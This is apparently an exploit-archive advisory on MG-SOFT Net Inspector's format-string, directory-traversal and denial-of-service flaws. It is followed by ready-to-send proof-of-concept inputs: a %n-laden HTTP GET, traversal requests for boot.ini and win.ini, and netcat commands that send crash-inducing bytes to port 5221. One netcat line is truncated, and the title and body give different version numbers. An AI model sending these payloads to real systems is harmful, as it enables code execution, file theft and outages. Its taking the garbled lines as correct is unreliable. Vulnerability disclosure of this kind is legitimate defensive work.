MG-SOFT Net Inspector 6.5.0.826 - Multiple Remote Vulnerabilities

source: https://www.securityfocus.com/bid/28266/info

Net Inspector is prone to multiple remote vulnerabilities, including:

- A format-string vulnerability
- A directory-traversal vulnerability
- Multiple denial-of-service vulnerabilities

An attacker can exploit these issues to execute arbitrary code within the context of the affected application, obtain sensitive information, or crash the affected application.

These issues affect Net Inspector 6.5.0.828; other versions may also be affected. 

GET /%n%n%s%s%n%n%n%s HTTP/1.0

GET ../../../../boot.ini HTTP/1.0

GET \../..\../..\windows/win.ini HTTP/1.0

cho|nc SERVER PORT -v -v -u

echo -n -e \x2a\x45\x67\xf2\x00\x00\x00\x00|nc SERVER 5221 -v -v -w 1